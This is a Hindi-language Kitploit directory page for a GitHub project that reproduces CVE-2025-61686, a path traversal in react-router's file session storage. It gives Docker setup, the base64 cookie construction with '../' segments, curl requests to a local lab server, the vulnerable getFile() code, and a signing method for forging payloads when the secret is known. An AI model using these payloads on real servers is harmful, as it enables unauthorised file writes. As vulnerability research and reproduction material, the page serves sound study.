Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-61686_docker — CVE-2025-61686复现的dockerfile与poc | Kitploit
उपकरण/GitHubGitHub/flowerwitch/cve-2025-61686_docker
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

CVE-2025-61686复现的dockerfile与poc

रिपॉजिटरी देखें
17 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-61686_docker

प्रारंभ

1.build

root@kitploit:~
docker-compose up --build

2.start

root@kitploit:~
docker-compose up

पुनरुत्पादन प्रक्रिया

  1. ट्रैवर्सल शर्तों को पूरा करने वाला एक session बनाएं
root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 
  1. निर्मित session को Cookie में डालें और अनुरोध भेजें
root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
  1. सत्यापन
root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

भेद्यता का कारण

भेद्य संस्करणों 7.9.3 और 7.9.4 की तुलना करने से पता चलता है कि भेद्यता का मुख्य कारण react-router/packages/react-router-node/sessions/fileStorage.ts फ़ाइल में getFile() फ़ंक्शन में session हैंडलिंग की समस्या है।

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

यहाँ, session के पहले 4 अक्षरों को फ़ोल्डर का नाम और पहले 4 अक्षरों के बाद के भाग को फ़ाइल का नाम के रूप में उपयोग किया जाता है, इसलिए हमलावर को पथ ट्रैवर्सल प्राप्त करने के लिए केवल निम्नलिखित करने की आवश्यकता है। यही कारण है कि भेद्यता अधिसूचना कहती है कि यदि session बिना secret के उपयोग की अनुमति देता है तो निर्देशिका ट्रैवर्सल आसानी से प्राप्त किया जा सकता है। बेशक, यदि हमलावर session को एन्क्रिप्ट करने के लिए उपयोग किए जाने वाले secret को प्राप्त कर सकता है, तो वह संबंधित ट्रैवर्सल पेलोड भी बना सकता है।

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

ज्ञात secret होने पर शोषण

secret प्राप्त करने की स्थिति में, आप sign() फ़ंक्शन का संदर्भ ले सकते हैं और PoC को साइन करने के लिए secret का उपयोग कर सकते हैं।

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
image

उत्पन्न session का उपयोग करके अनुरोध भेजें

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

भेद्यता ट्रिगर की पुष्टि करें

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

हस्ताक्षर उत्पन्न करने की स्क्रिप्ट use_secret_create_payload.js

टूल डाउनलोड करें